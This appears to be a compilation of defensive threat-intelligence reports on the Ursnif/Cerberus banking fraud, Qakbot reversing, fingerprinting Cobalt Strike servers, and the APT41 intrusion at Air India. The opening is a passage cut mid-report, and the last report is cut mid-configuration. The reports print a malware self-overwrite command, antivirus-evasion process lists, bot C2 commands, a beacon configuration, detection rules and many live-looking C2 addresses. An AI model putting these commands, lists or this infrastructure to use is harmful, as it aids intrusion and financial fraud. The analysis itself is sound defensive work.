Cerberus is being used here only as the component that allows the attackers to bypass the bank’s SMS-code verification challenge. The fraudulent transaction itself takes place on the victims’ infected desktops (Windows-based devices). While most fraud is in-session using Gozi SOCK proxy capability, some access to the victim’s account came from other devices.
## Ursnif’s C2 Communications
The basics of Ursnif’s command and control (C2) communications are also carried out through the same channels. Jambo.getScript sends information to srv_dom, which is the malware’s injection server in this case, used to manage the man-in-the-browser activity.
The core commands botmasters can launch come in where string ‘step=’ appears. Some of the available bot actions are:
| Command | Description |
|--------------|-------------|
| ADD_INFO | Send data to C2: token, SMS content, telephone, download an application. |
| ASK | Send communication to the C2. |
| GET_DROP | Check account balance on the victim’s bank account. |
| GOOD_TRF | Attempt to initiate a money transfer transaction. |
| LOGIN | Send victim’s login information to attacker’s C2 server. |
| PING | Check if the infected machine is currently online. |
## IBAN Swapping Back in Style
On the infected desktop, we are back to seeing familiar activity from the Ursnif Trojan. Since it hooks the internet browser, it takes different steps to manipulate what victims see on their screens and have them click on elements that launch the Trojan’s resources into action. One of the actions Ursnif wishes to take here is to automate transactions that start on the desktop’s browser. To do that, it is designed to swap the international bank account number (IBAN) and bank identifier code (BIC) numbers from legitimate transactions for an IBAN of an account the fraudster controls.
To launch its fraudulent transaction flow, Ursnif needs to start a function that would be clicked by the infected victim. It, therefore, attempts to replace a login button from the original bank’s webpage and plant its own button that the victim will click. The function launched is named ‘hookPay()’.
The function being used to swap the IBAN and plan the transaction parameters is called ‘makeTrf()’. The amount being transferred is set to move forward if the account’s balance is higher than €3,000.
## Injections Adapt to Security Challenge
The configuration file in this campaign targeted the customers of banking institutions in Italy, specifically business banking services. On top of that, the attackers were after e-wallet and e-commerce credentials.
Web injections were adapted to each target’s security challenge; for example, an injection instructing victims to provide numbers from a hard token. Victims are asked to enter the code they received into the web injection and are given a 90-second time-lapse to do that, likely also adapted to the time allotted by the targeted bank or service provider.
After receiving the data from the victim, the malware sends data to the C2 server, including authorization token, SMS content, telephone number, and account login information. It then shows a .gif file that makes it appear as if the web browser is loading something. After a couple of seconds, the .gif file is hidden, and the malware continues the login process in the background.
To prevent victims from accessing the account and discovering the fraudulent activity before it is finalized, Ursnif presents a maintenance notice on the account. This notice can effectively prevent the victim from accessing the account from the infected device.
## Something Old, Something New — The Ursnif-Cerberus Combo
Banking Trojan operators have always been fans of fraud they can automate. The rollout of two-factor authentication and strong transaction authorization schemes by online banking services across the globe have caused this entire threat actor class to rethink their tactics, techniques, and procedures. Over time, the incorporation of mobile malware into the overall scheme of banking Trojan fraud has become a must, since it is the only way to complete transactions. The hindrance remains that malware operators have to continue to find ways to infect more mobile devices, especially when getting into official app stores has been getting harder. Also, activating the victim for the initial setup of the automation process is another place where the criminal can fail. Fortunately, these are also the places where defenders can help prevent fraud.
Seeing Ursnif using Cerberus as its mobile malware component is new, but it is not surprising in the banking Trojan arena. Banking Trojan operators are constantly shifting tactics, but the strategy remains the same — they have to gain access to victims’ smartphones if they hope to get through security controls applied to banking and other services consumed online. Using Cerberus is also expected since the code was leaked and gave the option to any malware operator to make use of it against unsuspecting victims.
## IOCs
### C2 Servers
- */statppaa/* hxxp://sanpoloanalytics[.]org/pp_am/
- */statmoflsa/* hxxp://sanpoloanalytics[.]org/lancher/
### MD5
- Gozi: b6921ce0f1b94a938acb6896cc8daeba
- Cerberus + APK: 40b8a8fd2f4743534ad184be95299a8e17d029a7ce5bc9eaeb28c5401152460d
### Phishing domains and C&C servers:
- C&C:
- hxxps://ecertificateboly.us/lancher/
- hxxp://sanpoloanalytics.org/lancher/
- Phishing:
- hxxps://play.google.servlce.store/store/apps/details.php?id=it.phoenixspa.inbank
- hxxps://play.gooogle.services/store/apps/details.php?id=com.paypal.android.p2pmobile
- hxxps://google.servlce.store
- hxxps://gooogle.services
- hxxps://goooogle.services
- hxxps://play.google.servlce.store
- hxxps://play.gooogle.services
- hxxps://play.goooogle.services
### IP addresses:
- SOCKS Proxy: 37.120.222.138:9955
- VNC: 194.76.225.91
## Author
Itzik Chimino
Security Web Researcher in Security Intelligence
Itzik Chimino is a Security Web Researcher in Security Intelligence and is experienced in malware analysis. Prior to this role, Itzik worked at "F5 Networks". |
# Let's Learn: In-Depth Reversing of Qakbot "qbot" Banker Part 1
**Goal:** Reverse engineer and analyze the Qakbot banker with the focus on its core functionality, new configuration, and decoded template.
## Emotet and Qakbot
**Malware Sources:**
- Invoice-75301.doc (5f894602e88263e34dcdbb2eb2da3078)
- Original Signed Packed Qakbot Banker (805f48f1295e28cc82c180844e3165d6)
- Unpacked Qakbot Core x86 (95ec8de64002fc5de7c04ceba04702da)
- Qbot Communicator Dll x86 (7dad18c4d149849c727fe39eee184fe8)
- Qbot Inject Dll x64 (03e78339b09aa5e9885c24b2e8af84f4)
- Qbot persistence script (c4eaff27f786204627c5b2b915e9c801)
## Background
While investigating one notable infection chain distribution linked to both Emotet Loader and Qakbot Banker, I decided to take a deeper dive into the QakBot binary and its related components with the focus on core functionality. Qakbot is one of the oldest but still-active bankers on the financial malware landscape operating since 2009. Qbot is a credential-stealing financial malware known to target customers of financial institutions for account takeover fraud (ATO). The malware has worm capabilities to self-replicate through shared networks, drives, and removable media, and is notable for active directory bruteforcing as detailed by IBM X-Force.
## Outline
The following functions of interest will be analyzed:
1. Packed Digitally Signed Qakbot Loader
2. Unpacked Core qbot
- A. Decryption XOR Routine
3. "Explorer" Process Injection
4. Qakbot Configuration
5. Anti-Analysis
6. Persistency Mechanism
7. Yara Signature
- A. Qakbot Unpacked Core
- B. Qakbot Communicator DLL
- C. Qakbot Inject DLL
8. Indicators of Compromise
9. Addendum: Full Decoded First-Layer Template
## I. Packed Digitally Signed Qakbot Loader
The malware initial packed loader is digitally signed with Thawte to bypass possible trust-based detection with the following company "A&W Global Ltd."
The initial loader simply self-injects and unpacks the core malware in memory. The module can be retrieved by scanning mapped memory regions and dumping the unmapped executable, which would be the Qakbot core component. One notable detail behind the banker execution is that the malware overwrites the launched executable with the Calculator utility in `%WINDIR%\System32` via the `CreateProcessA`. More specifically, the qbot uses the `calc.exe` utility to invoke a ping command that will repeat six times in a loop:
```
hWnd = NULL
Operation = NULL
FileName = "cmd.exe"
Parameters = " /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "PATH_TO_QBOT"
DefDir = NULL
IsShown = 0
```
## II. Unpacked Core Qakbot
The unpacked core qbot, coded in Microsoft Visual C++, was compiled on January 29, 2018, with 9 imported DLL libraries and five usual sections (.text -> .rsrc) with no anomalies. The coding style of Qakbot reveals heavy reliance on Ansi equivalent Microsoft API calls, which likely speaks to the older code base since most recent malware relies more on Unicode API equivalents. The bot primarily coordinates injection functions and control via IPC (inter-process communication) with named pipes.
The Qakbot code reveals a lot of functionality including its Domain Generation Algorithm with domain TLD ("com;net;org;info;biz;org"), which version was well-documented by Johannes Bader. The qbot also communicates via FTP with available credentials. The qbot checks the machine speed by downloading a sample via `https://cdn[.]speedof[.]me/sample4096k[.]bin?r=0.%u.` Notably, the malware also "relaxes" Windows Defender and disables it in the registry via “SubmitSamplesConsent" and alters "SpynetReporting."
### A. QakBot Decryption XOR Routine
Once executed, Qakbot leverages XOR decryption function with `& 0x3f` coupled with Windows API call `MultiByteToWideChar` to convert byte to unicode strings while iterating through the encoded blob.
The pseudo-coded C++ template related to the main string deobfuscated is as follows:
```cpp
if (v14) {
WideCharStr = 0;
decrypt_iterate_func(&v13, 0, 62);
if (v15 <= 12) {
v6 = 200;
do {
MultiByteToWideChar(0, 0, (LPCSTR)*(v5 - 1), -1, &WideCharStr, 31);
--v6;
} while (v6);
v4 = (const CHAR *)dword_41453C; // location of encoded data
}
}
v7 = &v4[v16]; // v16 = 0x2AA9u
v8 = byte_413168[v16 & 0x3F];
v9 = v8 == v4[v16];
*v7 ^= v8;
if (v9) {
++v15;
*v5 = v7 + 1;
++v5;
}
++v16;
```
## III. "Explorer" Process Injection
The execution sequence is as follows injecting code into "explorer.exe" in both x86 and x64 variants:
```
start -> main_function -> main_injection -> x86_create_remote_thread/x64_process_inject -> process_injection_main -> inject_writeprocessMemory
```
## IV. Qakbot Configuration
Qakbot configuration is stored as .dat in `%APPDATA%` as numeric field values. The config is retrieved via the following call chain:
```
start -> main_function -> GetDrive_type_func -> net_server_lookup_function -> anti-analysis -> trytoget_sid_user_as -> bot_config -> qbot_conf
```
Some notable Qakbot configuration details were noted by BAE Systems in 2016. It appears that the field "10" carries the unique name such as "mc15," which is a possible designation of the qbot botnet.
### Qbot Configuration
- 10=mc15 (possible botnet name)
- 11=2 (number of hardcoded C2)
- 47=bot id as uppercase alphanumeric
- 1=date of qbot install in HH:MM:ss-dd/mm/yyyy
- 2=victim qbot install
- 45=C2 IP
- 46=C2 port
- 13=C2 domain
- 39=victim external IP
- 38=last victim call to C2 (time in Unix)
- 6=C2 IP:port
- 43=time of record (time in Unix)
- 15=unknown
- 5=victim network shares
- 44=victim share credentials
The bot id generation function leverages "ProductID" value in Registry, coupled with the output of `GetComputerNameA` and `GetVolumeInformationA`.
## V. Qbot Anti-Analysis
The malware checks for various anti-virus processes while running the binary:
- avgcsrvx.exe
- avgsvcx.exe
- avgcsrva.exe
- ccSvcHst.exe
- MsMpEng.exe
- mcshield.ex
- avp.exe
- egui.exe
- ekrn.exe
- bdagent.exe
- vsserv.exe
- vsservppl.exe
- AvastSvc.exe
- coreServiceShell.exe
- PccNTMon.exe
- NTRTScan.exe
- SAVAdminService.exe
- SavService.exe
- fhoster32.exe
- WRSA.exe
- vkise.exe
- isesrv.exe
- cmdagent.exe
- ByteFence.exe
- MBAMService.exe
- fmon.exe
Additionally, the malware checks for a plethora of anti-analysis and anti-virtual machines. One of the techniques is used to compare CPUID.
## VI. Persistency Mechanism
Qakbot sets run persistence via task scheduler as well as curious JavaScript execution via "cscript.exe //E:javascript" with the qbot loader file ending .wpl.
## VII. Yara Signatures
```yara
rule crimeware_win32_qbot_unpacked_core {
meta:
description = "Detects unpacked Qakbot core"
author = "@VK_Intel"
date = "2018-07-29"
hash = "95ec8de64002fc5de7c04ceba04702da"
strings:
$s0 = "powershell.exe" fullword ascii
$s1 = "%s\\%d.exe" fullword ascii
$s2 = "%s\\system32\\" fullword ascii
$s3 = "000223" fullword ascii
$s5 = "000001" fullword ascii
$s6 = "000111" fullword ascii
$s7 = "000005" fullword ascii
$s8 = "Akernel32" fullword ascii
$s9 = "ipconfig netstat" fullword ascii
$s10 = "Win32_Process" fullword ascii
$s11 = "NtQuerySystemInformation" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 500KB and all of them
}
```
## VIII. Indicators of Compromise (IOCs)
### A. The observed list of C2 servers
- 66.189.228[.]49;0;995
- 70.169.12[.]141;0;443
- 150.200.247[.]87;0;443
- 71.77.22[.]206;0;443
- 76.73.202[.]82;0;443
- 74.88.210[.]56;0;995
- 97.97.160[.]42;0;443
- 146.135.9[.]64;0;443
- 71.190.202[.]120;0;443
- 47.223.85[.]33;0;443
- 98.26.2[.]182;0;443
- 50.111.32[.]211;0;443
- 68.207.33[.]232;0;2222
- 68.173.55[.]51;0;443
- 76.186.82[.]51;0;443
- 67.197.104[.]90;0;443
- 73.40.24[.]158;0;443
- 50.42.189[.]206;0;993
- 65.116.179[.]83;0;443
- 50.32.243[.]36;0;443
- 185.219.83[.]73;0;443
- 72.133.105[.]155;0;443
- 216.201.159[.]118;0;443
- 68.207.43[.]173;0;443
- 216.218.74[.]196;0;443
- 96.248.15[.]254;0;995
- 75.189.235[.]216;0;443
- 98.103.2[.]226;0;443
- 24.100.46[.]201;0;2222
- 24.11.50[.]136;0;443
- 75.109.193[.]173;0;2087
- 73.106.122[.]121;0;443
- 173.160.3[.]209;0;443
- 70.118.18[.]242;0;443
- 24.163.66[.]146;0;443
- 173.248.24[.]230;0;443
- 68.129.231[.]84;0;443
- 174.48.72[.]160;0;443
- 216.93.143[.]182;0;995
- 184.180.157[.]203;0;2222
- 68.49.120[.]179;0;443
- 75.109.193[.]173;0;1194
- 75.109.193[.]173;0;8443
- 98.16.70[.]197;0;2222
- 47.134.236[.]166;0;443
- 105.227.20[.]203;0;443
- 97.70.129[.]250;0;443
- 24.228.185[.]224;0;2222
- 72.174.25[.]139;0;443
- 24.209.137[.]134;0;443
- 98.225.141[.]232;0;443
- 67.197.97[.]144;0;443
- 173.81.42[.]136;0;21
- 24.155.191[.]156;0;995
- 97.84.210[.]38;0;2222
- 93.108.180[.]227;0;443
- 190.185.219[.]110;0;443
- 63.79.135[.]0;0;443
- 96.73.55[.]193;0;993
- 207.178.109[.]161;0;443
- 99.197.182[.]183;0;443
- 67.83.122[.]112;0;2222
- 50.198.141[.]161;0;2078
- 47.40.29[.]239;0;443
- 12.2.201[.]35;0;443
- 76.176.7[.]41;0;443
- 75.127.141[.]50;0;995
- 71.210.153[.]133;0;443
- 189.175.147[.]195;0;443
- 73.231.147[.]128;0;443
- 73.130.229[.]200;0;443
- 67.11.27[.]100;0;443
- 12.196.116[.]242;0;443
- 216.21.168[.]27;0;32101
- 24.6.31[.]163;0;443
- 216.21.168[.]27;0;995
- 96.40.85[.]72;0;443
- 69.129.12[.]186;0;21
- 71.172.250[.]114;0;443
- 73.152.213[.]187;0;80
- 68.226.136[.]96;0;443
- 71.222.141[.]81;0;61200
- 76.182.33[.]43;0;2222
- 24.180.160[.]192;0;443
- 173.160.3[.]209;0;995
- 97.70.85[.]248;0;443
- 24.180.246[.]147;0;443
- 173.70.44[.]171;0;443
- 216.21.168[.]27;0;50000
- 24.180.246[.]147;0;443
- 96.32.171[.]132;0;443
- 47.48.236[.]98;0;2222
- 70.182.79[.]66;0;443
- 173.80.75[.]177;0;443
- 24.141.179[.]121;0;443
- 204.85.12[.]25;0;443
- 24.175.103[.]122;0;995
- 24.252.80[.]93;0;443
- 68.206.135[.]146;0;443
- 184.174.166[.]107;0;443
- 71.33.192[.]23;0;995
- 24.190.226[.]234;0;443
- 71.10.155[.]97;0;443
- 24.180.246[.]147;0;443
- 181.93.205[.]181;0;443
- 207.243.48[.]26;0;443
- 68.113.142[.]24;0;465
- 72.193.162[.]108;0;443
- 68.59.209[.]183;0;995
- 98.243.166[.]148;0;443
- 72.179.39[.]89;0;443
- 67.76.37[.]105;0;443
- 174.109.117[.]152;0;443
- 73.52.101[.]153;0;80
- 70.21.182[.]149;0;2222
- 24.180.246[.]147;0;443
- 65.191.74[.]248;0;443
- 65.40.207[.]151;0;995
- 73.183.145[.]218;0;2222
- 209.213.24[.]194;0;443
- 68.207.33[.]242;0;443
- 172.87.188[.]2;0;443
- 65.132.30[.]18;0;443
- 104.153.240[.]6;0;2222
- 24.93.104[.]154;0;443
- 75.106.233[.]194;0;443
- 65.191.128[.]99;0;443
- 65.169.66[.]123;0;2222
- 71.172.250[.]114;0;443
- 67.55.174[.]194;0;443
- 107.15.153[.]110;0;8443
- 205.169.108[.]194;0;443
- 47.221.46[.]163;0;443
- 71.48.218[.]91;0;995
- 73.74.72[.]141;0;443
- 71.85.72[.]9;0;443
- 172.164.17[.]102;0;443
- 173.191.238[.]124;0;995
- 47.186.93[.]228;0;443
- 184.191.61[.]13;0;32100
- 209.180.154[.]97;0;995
- 68.133.47[.]150;0;443
- 75.189.239[.]153;0;443
- 204.85.12[.]26;0;443
- 76.101.165[.]66;0;443
- 97.84.166[.]64;0;443
- 72.133.75[.]134;0;443
- 68.207.45[.]236;0;443
- 104.153.240[.]6;0;2222
- 206.67.215[.]7;0;443
- 206.67.215[.]7;0;443
### B. Qbot Configuration
- 10=mc15
- 11=2
- 47=REDACTED
- 1=REDACTED
- 2=REDACTED
- 45=97.84.166[.]64
- 46=443
- 13=content[.]markdutchinc[.]com
- 39=REDACTED
- 38=REDACTED
- 6=85.25.211[.]31:65400
- 43=REDACTED
- 15=-722023893
- 5=REDACTED
- 44=REDACTED
- 3=REDACTED
- 22=37.60.244[.]211:backup_manager@garciasdrywall[.]com:REDACTED:
- 23=198.38.77[.]162:backup_manager@worldexpresscargo[.]com:REDACTED:
- 24=61.221.12[.]26:logger@ostergift[.]com:REDACTED:
- 25=67.222.137[.]18:logger@grupocrepusculo[.]net:REDACTED:
- 26=107.6.152[.]61:logger@trussedup[.]com:REDACTED:
## IX. Appendix: Full Decoded First-Layer Template
```
WNetCancelConnection2W
FindWindowA
GetFileAttributesW
ntdll.dll
VirtualProtect
image/jpeg
Software\Microsoft\Office\Outlook\OMI
Account
Manager\Accounts
InternetQueryDataAvailable
DnsQuery_W
shell32.dll
qbot_conf_path='%s'
username='%s'
ws2_32.dll
USERPROFILE
CreateFileA
.dll
.cfg
.png
vSockets
Module32First
CloseServiceHandle
HttpSendRequestExW
HttpSendRequestExA
dumprep.exe
CertFreeCertificateChainEngine
dnsrslvr.dll
Bitdefender
LookupAccountSidA
StringIndex
%s
/P
%s
Microsoft
Security
Essentials
RegOpenKeyExA
HttpOpenRequestW
HttpEndRequestW
:String
WNetOpenEnumW
fshook32.dll
NTUSER.DAT
GenuineIntel
CertAddCertificateContextToStore
mlwr_smpl
RegCloseKey
CertEnumSystemStore
Process32Next
PostMessageA
FtpOpenFileA
Passport.Net\*
/s
LdrLoadDll
SendMessageA
http
CertOpenStore
If-Modified-Since
kernel32.dll
Initializing
database...
/c
QEMU
NetGetDCName
.jpeg
VMware
Vista
f1
SbieDll.dll
Norton
PR_Read
com;net;org;info;biz;org
NOD32
GetModuleFileNameA
Software\Microsoft\Internet
Account
Manager\Accounts
RegQueryValueExA
%02u.%02u.%02u-%02u/%02u/%04u
m1
\*.txt
```
This concludes the analysis of Qakbot "qbot" Banker Part 1. |
# Identifying Cobalt Strike Team Servers in the Wild
**February 26, 2019**
## Summary
On January 2, 2019, Cobalt Strike version 3.13 was released, which contained a fix for an “extraneous space.” This uncommon whitespace in its server responses represents one of the characteristics Fox-IT has been leveraging to identify Cobalt Strike Servers with high confidence for the past one and a half years. In this blog, we will publish a full list of servers for readers to check against the logging and security controls of their infrastructure.
Cobalt Strike is a framework designed for adversary simulation. It is commonly used by penetration testers and red teamers to test an organization’s resilience against targeted attacks but has been adopted by an ever-increasing number of malicious threat actors. Subtle anomalies like these should not be underestimated by blue teams when it comes to combating malicious activity.
## About Cobalt Strike
Cobalt Strike is a framework designed for adversary simulation. It can be configured using Malleable C&C profiles, which can be used to customize the behavior of its beacon, giving users the ability to emulate the TTPs of in-the-wild threat actors. The framework is commercially and publicly available, which has also led to pirated/cracked versions of the software.
Though Cobalt Strike is designed for adversary simulation, somewhat ironically, the framework has been adopted by an ever-increasing number of malicious threat actors: from financially motivated criminals such as Navigator/FIN7 to state-affiliated groups motivated by political espionage such as APT29. In recent years, both red teams and threat actors have increasingly made use of publicly and commercially available hacking tools. A major reason for this is likely their ease of use and scalability. This two-sided element of pentesting suites makes it a critical avenue for threat research.
## Cobalt Strike Team Servers
While the implant component of Cobalt Strike is called the “beacon,” the server component is referred to as the “team server.” The server is written in Java, and operators can connect to it to manage and interact with the Cobalt Strike beacons using a GUI. On top of collaboration, the team server also acts as a webserver where the beacons connect for Command & Control, but it can also be configured to serve the beacon payload, landing pages, and arbitrary files.
Communication to these servers can be fingerprinted with the use of Intrusion Detection System (IDS) signatures such as Snort, but with enough customization of the beacon and/or usage of a custom TLS certificate, this becomes troublesome. However, by applying other fingerprinting techniques, a more accurate picture of the Cobalt Strike team servers that are publicly reachable can be painted.
## Identifying Cobalt Strike Team Servers
One of Fox-IT’s InTELL analysts, with a trained eye for HTTP header anomalies, spotted an unusual space in the response of a Cobalt Strike team server in one of our global investigations into malicious activity. Though this might seem irrelevant to a casual observer, details such as these can make a substantial difference in combating malicious activity and warranted additional research into the setup of the team servers. This ultimately led to Fox-IT being able to better protect our clients from actors using Cobalt Strike.
The webserver of the team server in Cobalt Strike is based on NanoHTTPD, an open-source webserver written in Java. However, this webserver unintentionally returns a surplus whitespace in all its HTTP responses. It is difficult to see at first glance, but the whitespace is there in all the HTTP responses from the Cobalt Strike webserver. Using this knowledge, it is possible to identify NanoHTTPD servers, including possible Cobalt Strike team servers. We found that public NanoHTTPD servers are less common than team servers. Even when the team server uses a Malleable C2 Profile, it is still possible to identify the server due to the “extraneous space.”
The “extraneous space” was fixed in Cobalt Strike 3.13, released on January 2, 2019. This means that this characteristic was in Cobalt Strike for almost seven years, assuming it used NanoHTTPD since the first version, released in 2012. If you look carefully, you can also spot the space in some of the author’s original YouTube videos, dating back to 2014.
The fact that the removal of this space is documented in the change log leads us to believe that the Cobalt Strike developers have become aware of the implications of such a space in the server response and its potential value to blue teams.
## Scanning and Results
By utilizing public scan data, such as Rapid7 Labs Open Data, and the knowledge of how to fingerprint NanoHTTPD servers, we can historically identify the state of publicly reachable team servers on the Internet. The graphs show a steady growth of Cobalt Strike (NanoHTTPD) webservers on ports 80 and 443, which is a good indication of the increasing popularity of this framework. The decline since the start of 2019 is most likely due to the “extraneous space” fix, thus not showing up in the scan data when applying the fingerprint.
In total, Fox-IT has observed 7,718 unique Cobalt Strike team server or NanoHTTPD hosts between the period of January 2015 and February 2019, based on the current data from Rapid7 Labs HTTP and HTTPS Sonar datasets.
The table below contains several examples of Cobalt Strike team servers used by malicious threat actors:
| IP Address | First Seen | Last Seen | Actor |
|--------------------|-------------|-------------|-------------|
| 95.128.168.227 | 2018/04/24 | 2018/05/22 | APT10 |
| 185.82.202.214 | 2018/04/24 | 2018/09/11 | Bokbot |
| 206.189.144.129 | 2018/06/05 | 2018/07/03 | Cobalt Group |
The full list of Cobalt Strike team servers identified using this method can be found on the Fox-IT GitHub Repository. Do note that possible legitimate NanoHTTPD servers are listed here and that some IP addresses may have been rotated and reused swiftly, for example, due to being part of Amazon or Azure cloud infrastructure.
Therefore, we recommend investigating connections to these IP addresses within the corresponding time ranges. A starting point is to verify whether the requested URI matches a Cobalt Strike beacon checksum or by using historical DNS data with passive DNS. Going beyond this can be done in various ways, and we challenge readers to use their investigative creativity.
Please also note that this list contains servers of both legitimate and illegitimate operations since these cannot be distinguished easily. Fox-IT recognizes the merit of building and distributing offensive tooling, particularly for security testing purposes. In our opinion, the benefits of publishing this list (allowing everyone to detect unwanted attacks retroactively) outweigh the downsides, which could include potentially affecting ongoing red team operations. We believe that we all have an interest in raising the bar of security operations, and therefore increasing visibility across the board will inform a higher level of operational security and awareness on all sides.
## Network IDS Signatures
Fox-IT developed a Snort rule for network detection. The rule checks for the “extraneous space” in the HTTP header. Please note that this detection rule only works to detect plaintext HTTP traffic to and from Cobalt Strike Team servers with the Cobalt Strike version up until release 3.13. Nevertheless, this is still a valuable detection rule, considering threat actors tend to use pirated and cracked—and therefore inherently unsupported—versions.
```
alert tcp any any -> any any (msg:"FOX-IT – Trojan – Possible CobaltStrike C2 Server"; \
flow:to_client; \
content:"HTTP/1.1 200 OK |0d0a|"; fast_pattern; depth:18; \
content:"Date: "; \
pcre:"/^HTTP/1.1 200 OK \r\nContent-Type: [^\r\n]{0,100}\r\nDate: [^\r\n]{0,100} GMT\r\n(Content-Length: \d+\r\n)\r\n/"; \
threshold:type limit, track by_dst, count 1, seconds 600; \
classtype:trojan-activity; priority:2; \
sid:21002217; rev:3;)
```
## Conclusion
Organizations are encouraged to use the published list with Cobalt Strike team server IP addresses to retroactively verify whether they have been targeted with this tooling by either a red team or an adversary in the recent past. The IP addresses can be checked with firewall and proxy logs or on aggregate against SIEM data. To minimize the amount of false positives, the reader is urged to take the corresponding first and last seen dates into consideration.
For the ‘red team readers’ of this blog looking for ways to avoid their Cobalt Strike team server being both publicly available and easy to fingerprint, see the Cobalt Strike Team Server Population Study blog for a detailed set of mitigations. Furthermore, Red Teams are encouraged to critically examine their toolsets in use or rely on their Blue Team for potential tell-tales and determine the appropriate way to apply and mitigate such findings for both Red and Blue team purposes.
Watch this space (pun intended) for further analysis on this subject. |
# Big Airline Heist
**APT41 likely behind a third-party attack on Air India**
**Nikita Rostovсev**
**10.06.2021**
## Executive Summary
In late May, Air India reported a massive passenger data breach. The announcement was preceded by data breaches in various airline companies, including Singapore Airlines and Malaysia Airlines. According to public source data, these airlines use services of the same IT service provider. The media suggested the airline industry was facing "a coordinated supply chain attack." Air India was the first carrier to reveal more details about its security breach.
The data revealed by Air India suggested that the massive data breach affecting multiple carriers was a result of the compromise of the airline's IT service provider. That announcement prompted Group-IB Threat Intelligence analysts to look closer at the attack. Using its external threat hunting tools, Group-IB's Threat Intelligence team discovered and attributed another previously unknown cyberattack on Air India with moderate confidence to the Chinese nation-state threat actor known as APT41. The campaign was codenamed ColunmTK.
In this blog post, you will find:
- Previously unknown details about the ColunmTK campaign
- Evidence of compromised workstations and exfiltration of 200 MB of data from Air India's network
- Descriptions of TTPs used during the ColunmTK campaign
- Connections between APT41 and the infrastructure used during the ColunmTK campaign
The potential ramifications of this incident for the entire airline industry and carriers that might yet discover traces of ColunmTK in their networks are significant. To help companies detect and hunt for ColunmTK, we have provided a full list of indicators of compromise (IOCs) that we retrieved. MITRE ATT&CK, MITRE Shield, and recommendations are available at the end of this blog post. Group-IB's Threat Intelligence team informed CERT India and Air India of its findings so that they can take the necessary steps to mitigate the threat.
## Background
On May 21, Air India, India's flag carrier, published an official statement on their website about a data breach. The announcement revealed that the breach was caused by a February incident at the airline's IT service provider, which is responsible for processing customers' personally identifiable information (PII). However, that statement has since been corrected. It came to light that the cyberattack on this IT service provider affected 4,500,000 data subjects globally, including data related to Air India's customers.
Shortly after Air India's public announcement, the database allegedly related to their security breach was put up for sale on an underground market at USD 3,000. According to Group-IB's Threat Intelligence & Attribution system, the alleged database was published on a fraudulent resource known for reselling data that has been published on various data-leak websites. Because the database had never surfaced anywhere on the dark web, nor in the public domain, Group-IB researchers considered it fake and decided to look deeper, discovering that the post about Air India's alleged data had nothing to do with what happened in reality. Group-IB's Threat Intelligence team soon realized that in this other attack on Air India, they were dealing with a sophisticated nation-state threat actor, rather than another financially motivated cybercriminal group.
## Compromise of Air India's Network
In mid-February 2021, Group-IB's Threat Intelligence & Attribution system detected infected devices that were part of Air India's computer network. Starting from at least February 23, 2021, a device inside the company's network communicated with a server with the IP address 185.118.166.66. According to Group-IB's Network Graph, this server has hosted Cobalt Strike, a popular post-exploitation framework, since December 11, 2020.
The patient zero that started communicating with the C&C server was a device named "SITASERVER4" with the local IP address 172.16.11.103 and managed by Air India. After the attackers established persistence in the network and obtained passwords, they began moving laterally. The threat actor collected information inside the local network, including names of network resources and their addresses.
The attackers exfiltrated NTLM hashes and plain-text passwords from local workstations using hashdump and mimikatz. The attackers tried to escalate local privileges with the help of BadPotato malware. BadPotatoNet4.exe was uploaded to one of the devices inside the victim's network under the name SecurityHealthSystray.exe. According to our data, at least 20 devices from Air India's network were compromised during the lateral movement stage.
The attackers used DNS-txt requests to connect the bots to the C&C server. The following domains were used for DNS tunneling:
- ns2.colunm.tk
- ns1.colunm.tk
The name of the campaign, ColunmTK, is derived from these initially discovered domains. It was also found that the attackers extracted 233,390,032 bytes of data from the following devices:
- SITASERVER4
- AILCCUALHSV001
- AILDELCCPOSCE01
- AILDELCCPDB01
- WEBSERVER3
According to Group-IB's Threat Intelligence & Attribution data, the compromised devices were located in different subnets, which may indicate that the compromise affected various segments of Air India's network. While the initial attack vector remains unknown, according to Group-IB's records, the attack on Air India lasted for at least 2 months and 26 days. It took the attackers 24 hours and 5 minutes to spread Cobalt Strike beacons to other devices in the airline's network.
## Connections with APT41
Group-IB researchers believe with moderate confidence that the ColunmTK campaign was carried out by APT41, a prolific Chinese-speaking nation-state threat actor. APT41, also known as WICKED SPIDER (PANDA), Winnti Umbrella, and BARIUM, is believed to have been engaging in state-sponsored espionage in China's interests as well as committing financially motivated cybercrimes. According to Group-IB's Threat Intelligence & Attribution system, the threat actor has been active since at least 2007.
APT41 is known for stealing digital certificates for its cyber espionage operations. India is a frequent target of Chinese nation-state adversaries. When analyzing the network infrastructure of the C&C server involved in the cyberattack against Air India, Group-IB's Threat Intelligence & Attribution system revealed that the threat actor used a specific SSL certificate, which was detected on five hosts only.
One of them, 45.61.136.199, was attributed to APT41 (aka Barium) by Microsoft in their recent research. Another interesting domain is service.dns22.ml. This domain shared the SSL certificate with ColunmTK's IP address and was parked at 127.0.0.1 on January 15, 2021. Security researchers found that the IP address 104.224.169.214 was used as the IP address for a shellcode loader in APT41's earlier campaigns, in which the domain service.dns22.ml was also used.
Group-IB researchers discovered a file named "Install.bat" (SHA1-7185bb6f1dddca0e6b5a07b357529e2397cdee44). The file was uploaded by the attackers to some of the compromised devices inside Air India's network as part of the ColunmTK campaign. The file is very similar to one used by APT41 in a different campaign described by FireEye researchers. In both cases, the files were used to establish persistence in the network.
## ColunmTK MITRE ATT&CK and MITRE SHIELD
Below are indicators that were used in this campaign as well as MITRE ATT&CK mapping and a corresponding list of mitigation solutions. Companies should use MITRE ATT&CK to better prepare for attacks and know what techniques are needed to mitigate security risks associated with this threat actor.
### Indicators of Compromise
**Network indicators:**
- 185.118.164.198
- 104.224.169.214
- 45.61.136.199
- 185.118.166.66
- 149.28.134.209
- colunm.tk
**Beacon configuration from 185.118.166.66:**
```json
{
"post-get.verb": "",
"process-inject-stub": "d5nX4wNnwCo18Wx3jr4tPg==",
"http-get.uri": "cs.colunm.tk,/dpixel",
"http-get.server.output": "",
"post-ex.spawnto_x64": "%windir%\\sysnative\\rundll32.exe",
"post-ex.spawnto_x86": "%windir%\\syswow64\\rundll32.exe",
"cryptoscheme": 0,
"process-inject-transform-x64": "",
"process-inject-transform-x86": "",
"maxdns": 255,
"process-inject-min_alloc": 0,
"http-post.client": "&Content-Type: application/octet-streamid",
"dns_sleep": 0,
"ssl": true,
"SSH_Password_Pubkey": "",
"http-post.uri": "/submit.php",
"Proxy_UserName": "",
"cookieBeacon": 1,
"CFGCaution": 0,
"process-inject-start-rwx": 64,
"spawto": "",
